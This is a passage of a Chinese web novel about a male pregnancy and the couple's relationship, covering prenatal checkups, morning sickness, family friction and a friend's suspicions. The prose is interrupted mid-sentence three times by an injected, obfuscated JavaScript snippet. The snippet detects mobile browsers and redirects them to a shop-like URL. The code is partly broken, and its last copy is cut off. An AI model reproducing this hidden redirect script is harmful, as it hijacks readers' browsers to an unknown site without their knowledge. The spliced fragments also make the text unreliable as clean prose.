“啊,真的假的?” “你说呢?” 元丰当真了,心里暗骂自己不注意场合。 贺颜怕元丰在意旁人眼光,没再逗下去:“假的。” “……” 抽完血,王医生又过来关心了好一番,元丰欲言又止,憋在心里的问题始终没好意思问出来。 贺颜说他先兆流产不能乱来,不肯彻底满足他,比隔靴搔痒还难受。他真想亲自问问医生,自己到底能不能爽一把。 唉,真是折磨死人。 检查结果出来时,元丰盯着孕酮旁边的29.68,激动地拉着贺总的手:“涨了!涨到29了!你快看!” 贺颜接过单子,问道:“不用打针了?” “是啊!上回大夫说了满25就安全,我都超了。”元丰掏出手机,“我这就给你妈打个电话说一声,她还在等我信儿呢。” “嗯。” 不打针意味着保胎应该是成功了,贺颜这才放心。元宝平安无事,元丰接下来也能安心养胎。 到了第七周,元丰又去医院了。这次要做B超检查宝宝的胎芽跟胎心,孩子他爹和孩子奶奶一块儿陪着去的。 他好像明白幸福的滋味儿了,就是被重视被关心,不止他一个人在期待着元宝的出生,他快要有自己的小家了。 元丰做B超时,贺颜第一次见到了自己的孩子。然而他什么都没看清楚,只能看到一个小小的椭圆形黑洞。 他问医生:“那个黑洞是什么?” 女医生笑着解释:“这个是孕囊。” “孩子在哪儿?”他又问。 超声探头在肚子上移动着,元丰听见医生说:“在这儿呢。” 贺颜还是没看清楚,他低头看向元丰,对方正一脸期待地看着他,语气有些激动:“元宝啥样啊?快拿手机拍给我瞧瞧。” “忒小,看不明白。” “……” 闵兰瑛笑着冲儿子说道:“看不明白也得拍下来留个纪念。” 贺颜无奈掏出手机,拍了个寂寞。 好在B超单上有图像,元丰看到报告单,才信了孩子他爹说的话,确实没看明白。 虽然看不懂,但毕竟是小元宝的第一张照片,他没舍得对折,拿回家收了起来。 元丰保胎成功,宝宝又有了胎芽和胎心,终于可以自由活动了。 再躺下去,真的要成废人。 不过没满三个月,贺颜不允许他到处乱跑,也不允许提前学习,能躺则躺。 他白天会去客厅看一两集《甄嬛传》,孩子奶奶跟刘姨还陪着一块儿看。 然而快活的好日子没持续几天,他出现了严重的孕期反应,恶心想吐不说,看到一桌子丰盛的饭菜完全没有食欲,只能勉强喝点小米粥,吃些水果。 元丰一连喝了好几天小米粥,贺颜看不下去了,亲自去厨房盛了半碗饭,盯着他吃。 “我吃不下去……” “少吃两口。”贺颜琢磨了会儿,补充道,“吃一半,明天有半小时的学习时间。” “……” 贺文仲没好意思打断小两口,妻子先说话了:“小丰啊,多少吃两口,再吃点蔬菜。” 贺颜夹了些清淡的蔬菜放进元丰碗里:“吃吧。” 元丰有些心动,听话地端起饭碗,结果没吃两口,就冲到卫生间去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13658628|144025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吐了。 “……” “我去看看。”贺颜放下筷子,去了卫生间。 怀个孕真遭罪啊,元丰痛苦死了。他委屈地靠在贺总怀里,一脸难过:“我也想吃啊,这几天不知道为啥反应这么大。” 这个时期,贺颜也跟着遭罪,还说不得,只能哄。他单手浸湿毛巾,替元丰擦着嘴和下巴:“以前不是一口一个酱肘子吗?想不想吃?” “呕……我操……”元丰光是想想就够了,“求你别说了。” 贺颜笑了笑:“我明天让保姆换换口味。” 元丰想说换了也没用,可又觉得对不起孩子他爹,只能点点头:“嗯。” * 贺颜放弃了锻炼和午休的时间,忙完工作便开始认真看孕期方面的书。 元丰最近情绪不太稳定,孕吐没缓解不说,胸也开始胀痛,倒是没长大多少,老闹着说疼。 他昨晚不过跟表弟乔安他们几个出去喝了两杯,元丰就委屈得不行,问他能不能早点回家。 他不知道是不是所有孕妇都会这样,元丰现在离了他没法安心睡觉,黏人程度已经突破天际。 贺颜从没这么忍受过谁,但凡情人稍微黏糊些,也绝不会留到第二天。 他越发觉得上辈子可能欠了元丰的,所以这辈子派他过来折腾自己,顺便来个小的一块儿折腾,自己还得无条件伺候着。 元丰躺在床上跟二妹聊微信,打着关心的旗号交流孕期知识。 家里现在一切都好,母亲每周去镇上的大医院做两次透析,身体比以前好多了。他跟元梅说自己业绩好,老板发了奖金,辛苦她和小秋帮着照顾家里,有困难要及时说。 奖金是孩子他爹给的,不再是支票,直接转了一大笔钱到账上。 虽然是对象给的,但他不好意思收下来,打算等熬过孕期反应去银行单独存起来,留着给元宝。自己手上还有三十来万,足够了。 这聊着聊着,他突然有些犯困,连什么时候睡着的都不知道,等醒过来天已经黑了。 元丰揉了揉眼睛,拿起手机看了下时间,已经快九点。他想到昨晚十二点才回来的男人,立刻拨通了对方的电话。 贺颜正在书房看书,手机响的那一刻,他夹好书签合上书站起来,接通了电话。其实可以不接的,但他怕元丰又像昨晚一样,那委屈的模样忒可怜,怪让人心疼的。 “你咋没回来啊,是不是又在外头应酬?” “回来了。” “那你怎么不进来,几点回来的啊?” “怕吵着你,七点多。”贺颜边说边走。 “不吵啊,为啥不叫醒我。”元丰舍不得挂电话,穿上拖鞋准备去客厅,刚打开门,外面站着一天未见的男人。 他主动抱上去,闷声重复道:“你为啥不叫醒我啊,是不是嫌我烦了……” 来了,这回又是敏感多疑。贺颜不太会说什么好听的话,说错了还容易起反效果,只能用实际行动安抚元丰,这招百试百灵。 虽然家里有长辈陪着,但元丰依旧觉得很闷很无聊,他想要喜欢的人陪着,可每天能见面的时间太少,今天还睡过了头。 心里正委屈,贺总就抱着他亲了上来。 果然安分了,贺颜觉得自己可以开班授课,教教广大男同胞如何哄好正在闹脾气的孕妇。 亲个嘴就能让这小子听话,他不介意多亲一会儿。 助理买来的书,贺颜断断续续看完了两本,就差亲自生孩子了。 在元丰的影响下,他现在生活作息相当规律,白天忙工作,晚上陪孕夫。除了必要的应酬,连平时娱乐消遣的活动都推了。 下班前,贺颜接到表弟打来的电话,他没给对方开口的机会:“没空。” “我说最近怎么请不动你,原来天天急着回家哄媳妇儿。真牛逼,不声不响地当了爹,我居然要做叔叔了。” 贺颜猜到了,元丰前两天刚满三个月,母亲能忍到今天才说已是不易。 他问:“什么事儿?” “一个好消息一个坏消息,你想先听哪个?”李格反问。 “挂了。” “欸,别别别。”李格说,“你这个事儿刺激到我妈了,她现在逼着我相亲。说吧,怎么补偿我?” 元丰还在家里等着,贺颜没时间浪费,简短道:“等你结婚,包个大的。” “……”李格激动起来,“成心的?我他妈上哪儿结婚去。晚上出来喝酒,当作补偿。” “过阵子再说。” “妻管严?”李格惊了,“你还是我大哥么?” 贺颜想了想,说:“他最近不舒服。” “真是让你捡到宝了,我怎么没碰上,省得我妈念叨。” “……”贺颜觉得自己是捡了个祖宗。 “对了。”李格想起正事儿,“好消息就是我把《甄嬛传》给看完了,所以想出来喝酒。你没空算了,我找乔安他们。” “嗯,挂了。” 贺颜不爱看电视剧却知道《甄嬛传》,最近好像挺流行宫斗剧。元丰也在看,今晚正好追到大结局,等着他回家一块儿看。 这不,刚挂完电话,短信又来了。 “你啥时候回来啊,元宝想你了。” 他回了几个字儿,笑着收起手机。 25. 第 25 章 “把饭吃完,我回来检查。” 又要检查吃饭,元丰都怕了。本以为熬满三个月会解放,结果只能稍微吃些面食,荤腥类的吃了还是会吐。 他隔着睡衣摸向微微隆起的肚子,在心里教育起元宝:你这孩子忒不懂事儿了!就知道折腾你爹,还有你另一个爹。 因为妊娠反应,学习迟迟没开始不说,孕期第一炮也没打响,元丰快憋成神经病了。 可刚教育完又开始后悔,觉得孩子是无辜的,自己怎么能怪到元宝头上。 他轻轻摸了摸肚子以示安慰,起身穿上拖鞋准备去吃饭,手机忽然振了两下。 -你这日理万机的,到底是多忙啊? -叫你把人带出来看看,我从秋天等到冬天,是不是分手了? 元丰看到分手俩字儿,立刻回过去:我俩好着呢,别瞎说。 -怎么个好法啊?你别稀里糊涂的。算了,我给你打电话。 怎么个好法,元丰已经说不清了,就觉得孩子他爹特别好,好到他会庆幸自己当初被车给撞飞,这可是老天送来的缘分。 没多久,电话打进来了。他心虚地接通,岔开话题:“吃了没啊?” “少糊弄我,之前就让你给岔开了。”许辉不爽道,“老藏着掖着,还拿不拿我当兄弟了?” “那必须是兄弟啊,我真没藏。”元丰知道许辉是关心自己,过意不去,赔笑道,“这不是前阵子公司里事儿忒多吗,老抽不出时间,过两天找你去。” “把你炮-友……不是,你俩现在是对象了吧?” “是对象啊。”元丰乐和道,“我俩感情挺好的,你就放心吧。” “多好啊?说来听听。” “……”元丰想起那些亲热,不好意思地傻笑起来,“你咋还八卦起来了,这事儿不能往外说。” 许辉听着傻笑声,察觉不对劲,问道:“事儿多还有时间搞对象,同居了?” 元丰笑着嗯了一声。 果然,许辉就猜到是这样。 他始终觉得从炮-友发展起来的感情不靠谱,元丰又是个没经验的,哪里玩得过女司机?保不齐让人给骗了。 “你要真把我当兄弟,别自己一人来,带上你媳妇儿。” “……” “听到没有?” 元丰怕吓着许辉,只能含糊应下,打算等见面再说。挂完电话后,他想着自己的“媳妇儿”,咧着嘴笑了。 * “阿姨,我吃不下了。”元丰痛苦地放下筷子,还说好好表现的,可一点食欲都没有。 “小丰,你这一口都没吃啊。”闵兰瑛看着那尖瘦的下巴,心疼道,“你看你瘦的,多少吃点,孩子也需要补充营养。” 贺文仲很少干涉小辈,忍不住补了句:“也不能天天吃面食,少吃些菜。” 元丰看了眼桌上的清炒油菜和菠菜,闻着那味儿突然想吃水果了。 贺颜回家正好见到这一幕,元丰垂着脑袋坐在餐桌前,听到动静立刻抬头看向他,那委屈的小眼神一看就知道又没好好吃饭。 他不忍心说重话,但这小子最近瘦了不少,抱着都嫌硌手。 元丰以为贺总会像平常那样哄他,哪知道对方直接板起脸,问他为什么不好好吃饭。 他低着头没吭声,胸口闷得难受,想不明白为啥会这样,好端端的为啥要凶他啊。 饭桌上的气氛变了,贺文仲开口缓和道:“小丰不想吃就算了,别逼着他吃。” “是啊。”闵兰瑛站起身,“阿姨这就给你下碗面条去。” “妈,您甭去。” “这……” 与前阳合作的项目进入前期准备阶段,贺颜目前还不算太忙,过阵子没工夫再盯着元丰。天天吃饭都得连哄带骗,自己在还没事儿,这要不在多半是不会吃了。 “最少吃半碗,吃不完电视剧别看了。” 元丰依旧低着头没吭声,心里委屈,为啥还在凶他啊。 贺颜坐到元丰旁边,一边给他夹菜一边叮嘱:“今天开始吃饭,每天至少半碗,下周再换面食。” “……”元丰伸手推了推面前的饭碗。 准备夹进碗里的菠菜掉在了桌上,无声的抗议让贺颜决定不再惯着元丰。 他放下筷子,语气冷了些:“准备成仙是吗?” “小颜。”闵兰瑛叫了声儿子,“少说两句。” “这是我跟他的事儿,您别管。”贺颜看向元丰,继续道,“这饭还能不能好好吃了?” “我想吃西瓜……”元丰闷闷地说。 可算说话了,闵兰瑛松了口气,笑道:“小丰啊,咱得吃应季水果,西瓜又是凉性的,大冬天吃了容易闹肚子。” “把饭吃了。”贺颜无动于衷,“你不吃孩子也得吃。” 元丰现在就想吃西瓜,听到孩子他爹说的后半句话,鼻子一酸。 他不知道今晚到底怎么了,为啥左一句孩子要补充营养,右一句孩子得吃饭。都在关心元宝饿不饿,没人关心他难不难受。 贺颜听到吸鼻子的声音,知道元丰又开始闹情绪了。碍于父母在场,他把人带进了卧室。 闵兰瑛与丈夫对视一眼,俩人默契地岔开话题。“回头你跟俩孩子说说,看看他们什么想法。” 贺文仲说,“不带小丰不合适。” “行,这次别太热闹,自家人吃一顿就得了。” 要说谁最爱元宝,那非元丰莫属。贺颜以为拿孩子当借口能哄元丰乖乖吃饭,谁知道把人给弄哭 了。 真是招架不住,他俩上辈子估计有什么血海深仇。他抚摸着微隆的孕肚,温声道:“少吃几口,吃完我去买西瓜。” “我不想吃了。” “让你吃饭是为你好。”贺颜移开手,握住元丰的细胳膊,“自己看看瘦成什么样儿了。” “不是!” “不是什么?” “不是为我好。”元丰吸了吸鼻子,越说越激动,“我都说我不想吃你还老逼我吃,你只关心元宝!” “……”得,又说错话了。 再说下去只会没完没了,贺颜直接亲了上去,结果刚碰上就被元丰侧头避开了。 元丰从没这么难受过,他甩开胳膊上的手,拉起被子钻进了被窝。 真他妈行,亲嘴都不管用了。贺颜坐在床边没动弹,自打元丰怀孕以来,他试着了解怀孕过程以及孕妇心理,给足关心与呵护,更别提陪伴了,大量私人时间全部贡献给了这小子。 他觉得自己做得已经足够到位,然而元丰孕期反应的持续时间实在过长,性子也跟刚认识那会儿完全相反,敏感又脆弱。 刚才说的话更像是在跟元宝争宠,老这么哄着也不是办法,得赶紧调整过来。 贺颜不可能丢下工作二十四小时陪着元丰,他担心再这么下去,如果自己忙起来,元丰的身体状况越来越差怎么办,会不会再得个抑郁症什么的。 就在他思考着该怎么调整孕夫的情绪时,身后传来微弱的呜咽声。 元丰躲在被窝里,使劲掐着自己的嘴。老话常说好事儿得藏着,不能瞎嘚瑟。 真不该跟许辉强调感情好,就因为太嘚瑟,所以老天看不惯了。疼痛缓解不了内心的酸涩,却让他清醒地意识到自己又在无理取闹,还拒绝了最喜欢的亲嘴。 自己为啥会变成这样,忒讨人嫌了。 贺颜转身掀开被子,心里莫名一紧。元丰蜷缩在床上,大拇指与食指用力掐着嘴唇,眼眶湿润发红。他迅速攥住那只细瘦的胳膊拉开,到嘴边的重话也压了下去,改口哄道:“哭什么?我是关心你这身体,再瘦下去该进医院了。” “对不起……” 元丰闹脾气不是一回两回了,贺颜就没听他说过对不起这三个字儿,今天还是头一遭。这小子可算懂点事儿了,不枉他耐着性子哄到现在。 “我以后再也不嘚瑟了。” “……” 元丰想通之后,舒坦多了。他坐起来,用力抹去眼眶里的泪水,坚定地重复道:“再也不嘚瑟了。” 贺颜跟不上思路,估摸着元丰又看了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13658629|144025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不少乱七八糟的东西。好在情绪稳定了,他说起正事儿:“营养针打了没什么意义,还得靠你自己好好补充,听话把饭吃了,晚上不用手。” “……”元丰惊讶地抬起头,“那用啥啊?是用你那苍天巨蟒不?” 贺颜笑了一声,摸上他的脑袋。 “啊。”幸福来得太突然,元丰激动不已,“我要!” “要就起来把饭吃了。”贺颜服得彻底,如今亲嘴不管用,只能上真枪了。 憋了这么久,终于可以痛快了。元丰兴奋地抱住男人,主动亲了上去。 贺颜及时把人稳住,柔软热乎的舌头猴急地钻入自己口中,他按着元丰后脑勺,回应了这个吻。 看到牵着手走出来的小两口,闵兰瑛与丈夫都放下了心。 她起身给元丰重新盛了半碗白米饭,笑道:“小丰啊,能吃多少吃多少。” “谢谢阿姨……”元丰刚才闹了一通,此刻非常羞愧。 贺颜这顿饭吃得很不容易,还得顾着元丰,时不时给他夹点菜。 元丰听话地嚼着青菜和米饭,吃的过程有些痛苦,难以下咽,忍不住想吐出来的时候,餐桌底下伸过来一只手。 对面还坐着长辈,吓得他直接将饭菜吞进肚子里。要命,都快忘了孩子他爹当初是个变态来着,能干出这种事儿也正常,不过确实有点刺激。 半碗米饭总算吃干净了,贺颜这才淡定地收回手。 然而刚吃上两口,桌底下伸过来一只手,他侧头看去,元丰冲他嘿嘿一笑,白净秀气的小脸上挂着笑,露出了右边那颗小虎牙。 闵兰瑛见儿子吃饭速度有些快,提醒道:“你慢点儿吃,快了不消化。” “饿了。”贺颜面不改色地回道。 元丰低着头,一边偷偷使坏,一边偷偷乐。 卫生间里弥散着淡淡清香,沾满沐浴泡泡的双手在身上游走,元丰抓着安全扶手,乐和地叫了声元宝他爹:“今晚进哪儿啊?” “你决定。”贺颜轻轻给小孕夫按摩着,手感挺不错。 他问:“这两天还疼吗?” 元丰摇摇头,说:“都来行不行啊,像以前那样。” “不行,只能选一个。”贺颜提醒,“也不能太久,看你表现。” “不能太久是啥意思啊?你看啥表现?”元丰一脸懵逼。 “好好吃饭,今天先十分钟。” “……” …… …… 贺颜十年前就这身材了,多年来一直保持着锻炼的习惯,办公室的休息区被他改造成独立健身房。 因为眼前这个年轻人,他已经一个多月没好好锻炼了。他盯着正在笑的元丰,第一次在做的时候分了神。 如果只是责任,自己却一次又一次为这小子打破原则。 贺颜想起母亲提过的稳定,元丰确实跟其他人不一样,但他从未想过要跟谁定下来,人与人之间的新鲜感并不能持续一辈子。 不过现在该考虑的早已不是新鲜感,而是有孩子参与的人生。 “我一共才十分钟的时间,你还偷懒!”元丰委屈,“你是成心的还是嫌弃我了啊?” 贺颜回过神,盯着满脸委屈的元丰,难得说了句心里话:“我在想以后。” 元丰没懂:“以后的啥啊?” “不知道。”贺颜说,“生活吧。” “这有啥好想的?”元丰无语了,说,“生活就是生活啊,就像现在这样。以后咱俩一块儿把元宝拉扯长大,等元宝结婚,那时候估计都退休了。哦,你大我那么多岁,你先退休。那我就多挣点钱,提前陪你一块儿退休,然后可以到处旅游啊,玩不动就在家歇着看看电视也挺好。” “……” “这一辈子不就过去了吗?有缘咱下辈子再见。” “……” 贺颜听完元丰的絮絮叨叨,元丰说的生活是他从没想过的,听着似乎不赖。 一晃眼快三十二了,他要当爹了。 有了孩子,人生仿佛进入另外一个阶段。 26. 第 26 章 NT检查这天,元丰起了个大早,激动地穿上孩子他爹给买的冬装,把自己裹了个严严实实。 早晨的地下车库陆续有车开过,他没好意思牵手。 贺颜揽住元丰的肩膀往怀里带:“东张西望的,瞎看什么?” “我想牵你啊,老有车过去。”元丰回道。 贺颜没说什么,及时把人放开了。元丰这个在意旁人眼光的毛病,一时半会儿还真不好改。 “幸亏做NT不要憋尿,之前B超老让我喝水憋尿。”元丰吐槽,“这产检忒麻烦,等二十多周了还要做那什么糖筛,听说一上午不能吃东西,得不停喝糖水抽血检查,复杂着呢!” “辛苦了,有什么想要的吗?”因为了解过孕期知识,贺颜知道产检确实麻烦。 元丰刚想说不缺东西,突然想到自己要啥了:“有啊,你能满足我不?” 贺颜直觉不是什么好东西:“看情况,说来听听。” “你能做到啊。”元丰说,“给不出下回就不要说这种话,反正你老爱忽悠人。” 贺颜笑了:“我尽量。” 元丰朝四周看了一圈,见没车没人,低声说了句悄悄话,无非就那档子事儿。 “……”贺颜怎么都没想到元丰居然在想这个,抬手敲了一下他的脑袋,“大白天的,发什么骚?” “哎哟!我没啊,是你自己要给我奖励的。” “取消。” “你这人……”元丰盯着前方的背影,喊道,“喂,要不今晚再加半小时!” 超声所见: 胎儿:头径:1.6cm,头围:5.7cm,腹围:5.0cm,股骨长径: 0.6cm。 胎心率:161次/分NT:1.5mm 胎盘:厚度:1.1cm,位于子宫后壁为主。羊水暗区深度:3.2cm。 CDFI:胎儿脐动脉血流可探及。估测胎儿孕周约为12周+1天。超声提示: 单胎,存活。 NT结果正常,元丰放心了。 他仔细地看着报告单上的数据,在心里估算着元宝的大小:“这B超还挺准的啊,我今天十二周加三天,就差了两天。” “嗯。” 元丰指着头围说道:“你看这个,元宝头围都5.7厘米了,又长大了。” 贺颜接过单子,认真地看起来。他现在能稍微看懂一些,也知道接下来的产检项目。像四维彩超、糖筛以及最有风险的羊水穿刺,这些重要的他已经都记录在备忘录里。 等助理到了医院门口,贺颜亲自把元丰送上车,叮嘱道:“只有两个小时,自己注意些。” 元丰点点头:“他跟我一个村的,好久没见了。” “嗯。”贺颜看向一旁站着的陈硕,吩咐道,“在边上看着,别让他吹风。” “好的,贺总。” 汽车出发时,元丰降下车窗,挥手说道:“你开车注意安全啊。” 贺颜皱眉道:“把窗户关上!” “哦哦,知道了!”元丰笑着又挥了挥手。 窗户升上去后,贺颜才转身离开。 车里很安静,元丰打算跟陈硕也叙叙旧,兜里手机响了。 他掏出来一看,是三妹元秋打来的。他以为家里出了什么事儿,立刻接通:“小秋,咋了?” “哥,二姐生了!你做舅舅了!”元秋高兴地说,“她刚出产房,我第一时间就给你打电话了。是个男孩儿,八斤六两!” 元丰有些激动:“还真是个大胖小子啊,这么大个儿,是顺的吗?” “是啊,遭了老大罪。”元秋说,“二姐都哭了,说生孩子可疼了。” “……”元丰心里怪慌的,他问,“有照片没?快发给我瞧瞧。” “没拍呢,病房里全是人,我都挤不进去。”元秋笑道,“哥,你过年大概放几天啊?妈最近还一直念叨你呢,盼着你回来过年。” “……”元丰嘴边的笑瞬间僵住,他不能回去过年了,大着肚子会很不方便。 路途遥远是一回事儿,他更怕村里的闲言碎语。 “哥,咋不说话啦?” 元丰提前打起预防针:“小秋啊,我现在被调到分公司了,这儿刚起步,过年没准挺忙的,到时候看情况。” “啊?那也得放假啊。” “是啊,所以到时候看情况,我提前给你打电话。”元丰岔开话题,“宝宝小名叫啥?” “叫洋洋,二姐夫取的。” “洋洋不错,是个好名儿。” “哥,回头再跟你说啊,我先进去了,照片晚点发给你。” “好。” 元丰心情复杂地挂断电话,叹了口气。 他随口问道:“陈助理,你过年要回老家不?” “不回。”陈硕没把元丰当外人,平静道,“我六年没回去了。” 真是哪壶不开提哪壶,元丰以为陈硕爸爸也不在了,赶紧道歉:“对不起啊,我不是故意的。” “没事,不用道歉。” “那你都是一个人过年的吗?” “嗯。” 原来陈硕跟自己一样啊,元丰太理解一个人过年的滋味儿了。 他怕陈硕难过,安慰道:“咱俩还挺像啊,我也自己一个人过年,其实挺自在的。” “嗯,我比较喜欢安静。” “哦哦。”元丰可不喜欢安静,过年就该热热闹闹的。他本想邀请陈硕一块儿过年,一想自己都有元宝和孩子他爹了,不知道能不能张口。 许辉刚修完一辆三轮摩托车,坐在店门口的小马扎上休息。 路边突然停了一辆黑色奔驰,年轻的男车主下车打开后座车门,兄弟元丰从里面下来了。 他惊得目瞪口呆,起身走过去,喊道:“小丰!” 元丰回头冲陈硕打完招呼,跟许辉说:“走,先进店里。” 许辉回头看了眼,男车主没有要走的意思,还在原地站着。 他问道:“那男人是谁啊?司机吗?别告诉我你被富婆包养了。” “不是。”进了店里,元丰才继续说,“你还记得跟我谈赔偿款的大老板不?就约我去咖啡厅的那个。” 许辉反应过来了:“记得,这是那大老板的车吗?” 元丰尴尬地点点头:“我跟他处了。” “我操!”许辉又被吓一跳,“你……那老板不是男的吗?” “嗯。”元丰就知道兄弟会激动,幸亏当面说了。他省去细节,大概说了下经过。 “你真是糊涂!”许辉劝说道,“你知不知道一辈子多长?你才跟他在一起多久啊,这根本不靠谱也不正常。” “正常啊。”元丰说,“他很靠谱的,我跟他就像你跟你媳妇儿一样。” “行行行,正常。那你说,那么有钱的大老板,能看上你吗?”许辉继续劝说,“你听我一句劝,他那种层次的有钱人,都是玩玩的,跟咱普通老百姓不一样。” “他看上我了啊,一开始就是他找我的。”元丰不想再谈这个话题,也不爱听兄弟说的这些话,弄得好像他跟贺总没缘分似的。 他小声说:“你不懂,我那啥……就……我有了。” “你有啥啊?” 元丰怪不好意思的,可他不想贺总被误会,快速说道:“我身体啥毛病你也清楚,我中奖了。已经三个月,我前阵子在家里保胎,出不来。“所以我跟他是认真的,不是你想的那样。” 陈硕站在修车行门口吹着冷风,手机响了。 他从大衣口袋里掏出手机,刚接通,店里传出一声吼。 “我操!!真的假的?!” 元丰耳朵快聋了:“你他妈轻点行不行啊?再这样我走了。” “发生什么事儿了?你在哪?” 陈硕无视听筒里传出的声音,走进修车行,确定里面没什么大碍后,冲元丰点点头,又出去了。 他问李格:“有事吗?” “嘴都亲过了,你这什么态度?” “没事我挂了。” “别,我晚上去找你。” “没空。” “……” 听到消息太过震惊,许辉缓了好一会儿,稀奇道:“那毛病还能怀孕?你可别忽悠我。” “我忽悠你干啥啊。”元丰怕许辉不信,撩起衣服下摆打算让他摸一下,看到那双手又改了口,“你手忒脏,不给你摸了。” “……”许辉目光扫过去,浅色毛衣裹着微微隆起的肚子,确实像怀孕了。 他惊叹道:“我操,真有了啊。” “嗯。”元丰放下衣服,突然有些不好意思,“小名叫元宝,我取的。” 许辉一直挺操心元丰的恋爱情况,希望他能处上对象。这下好,找了个男炮-友不说,连孩子都有了。 “怪不得我媳妇儿生日那天不过来,那你这经理位置怎么弄?” “早就辞了,在家养……养身体来着。”元丰站得有些累,捂着肚子慢慢坐在小马扎上。 许辉在一旁看着,等元丰坐稳了才说:“你啊,真是稀里糊涂的。我还能说啥,找个时间把人带出来一块儿吃顿饭吧。” 一边是最好的兄弟,一边是喜欢的人,元丰想了会儿,点头道:“行,不过他工作挺忙的,我到时候问问。” “能忙成啥样?那么大个老板,手底下不一堆员工吗?”许辉顺手掏出烟盒,想到元丰怀孕,又立刻塞回兜里,“吃顿饭能要多长时间,别再藏着掖着了啊。” “我都亲自过来告诉你了,还藏啥。” “不知道大老板愿不愿意给我这修车工一个面子。”许辉自言自语道。 “瞧你这话说的。”元丰替贺总说起好话,“他可没老板的架子,人特别好。” “好好好。”许辉话锋一转,八卦道,“谈恋爱的滋味儿怎么样?” 元丰咧嘴一笑,忍不住嘚瑟起来:“一个字儿,好!” 许辉盯着那张笑脸,知道元丰是彻底陷进去了,恐怕现在说什么都没用。 他心里多少有些发愁,大老板要是认真的还好说,如果不是,元丰哪里玩得过人家? 这次叙旧没聊太长时间,外头来了一辆电动三轮车,快递员着急派件,许辉只能先去修车。 元丰想着下回还得一块儿吃饭,便没久留,离开了修车行。 晚上,元丰在洗澡时提起这茬,没想到被贺总拒绝了。 他问:“为啥不去?” 贺颜只是单纯不想去,没有理由。他找了个不算借口的借口:“最近项目多,抽不出时间。” “那等你忙完的。”元丰没多想,又问,“是不是也没时间陪我了啊?” “嗯,在家听话,好好吃饭。”贺颜叮嘱道。 元丰有点舍不得,翻身面对贺颜,“那你今晚还不给我来一发大的,要求不高,一小时行不?” 贺颜笑道:“还跟我谈条件?” “没啊,就是提前一次性给我。天天十几二十分钟的,你打发叫花子呢。”元丰感觉到贺颜的变化,语气有些激动,“真是比钢铁强,快一展雄风给我瞧瞧。” “……”贺颜直接掐住元丰的脸,轻轻扯了一把,“欠抽是不是?” “哦!”元丰灵光一闪,“好久没吃了,你补我六十分钟,咋样?” 贺颜被逗乐了,问:“怎么算的?” “瞎算的。”元丰猴急,“我求求你了,大方一回行不?” “半小时。” “……” 算了,多十分钟也是好的。 * 元丰的孕期反应一直持续到十四周才逐渐结束,胃口开始变好。按理说胃口好了,也意味着晚上能更快活了。 可惜孩子他爹最近太忙,x生活的频率明显下降。他现在每天都盼着对象能早点回家陪自己吃饭,吃完一块儿洗个澡,最后再舒舒服服地来上一发。 唉,欲望真是无止境啊。 “洋洋,给舅舅笑一个!” “哥你看他的小手,真肉。”元秋轻轻碰了碰婴儿的小嫩手,“太好玩了。” 元丰看着视频画面里的小婴儿,越看越喜欢。他笑着问:“洋洋是喝的母-乳不?跟刚出生那会儿又不一样了。” “是啊。”元秋逗弄着小胖手,“哥,你过年一定要回来呀,洋洋那时候估计更好玩。” “行,到时候我提前通知你。”元丰说。 “我一会儿得回宿舍啦,再说几分钟。给你看看二姐,她胖了好多。” 元梅挡着镜头:“别拍,丑死了。” “自己亲哥,有啥不好意思的?”元秋一边笑一边拍,“快配合一下!” 元丰盯着手机屏幕,笑着夸道:“小梅不胖,还跟以前一样好看。” “不好看。”元梅不好意思地笑了笑,“鼻子都变大了。” “咱家基因好,个个都好看。”元秋说。 视频通话结束后,元丰思考着到底要不要回去过年,可怎么想都觉得不方便,万一再让村里人看笑话……电话铃声打断了思绪,看到“辉哥”俩字儿,他心里一慌。 “小丰,约你多少回了,为啥回回都没空。” “他最近特别忙,抽不出时间。”元丰解释道,“我昨晚还问他了,等忙完这阵就好了。” “忙了大半个月,抽不出一小时来。”许辉说,“算了吧,大老板瞧不上我这修车工。” “他真的在忙啊,我没骗你。” “来生意了,我去修车,不说了。” “……” 闯荡社会这么多年,许辉是唯一与他交心的兄弟,元丰知道他约这顿饭的想法,心里很过意不去。 * 许辉蹲在地上,正在给电动车后轮改装碟刹,旁边突然多了一双脚。 他抬头一看,惊讶道:“你怎么过来了?” “闷得慌,找你聊天来了。”元丰没法下蹲,只能在边上站着。 他随口问道:“换刹车呢?” 许辉看向前方,黑色的奔驰停在路边,那个年轻的男人依旧在车旁候着。 他站起身说道:“车子不着急修,进店里坐会儿吧。” “行。”元丰跟着进了店。 许辉从里间拿出一张橙色塑料凳:“坐这个凳子。丑话说在前头,我没有巴结大老板的意思。” “你为啥说这个?”元丰有些不高兴,“我知道你是为我好。” “他要真拿你当回事儿,就不该是这么个态度。”许辉直接道,“我越想越不对劲,你老说他人好又靠谱,没准是因为这个孩子吧?” “不是,他人确实好。” “我就问你,他是不是想要这个孩子?” “……”许辉的话让元丰突然记起贺总当初提过的二胎协议,日子过得太舒坦,他都把这个事儿给忘了。 一看元丰那表情,许辉急了:“这可不是小事儿,你别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 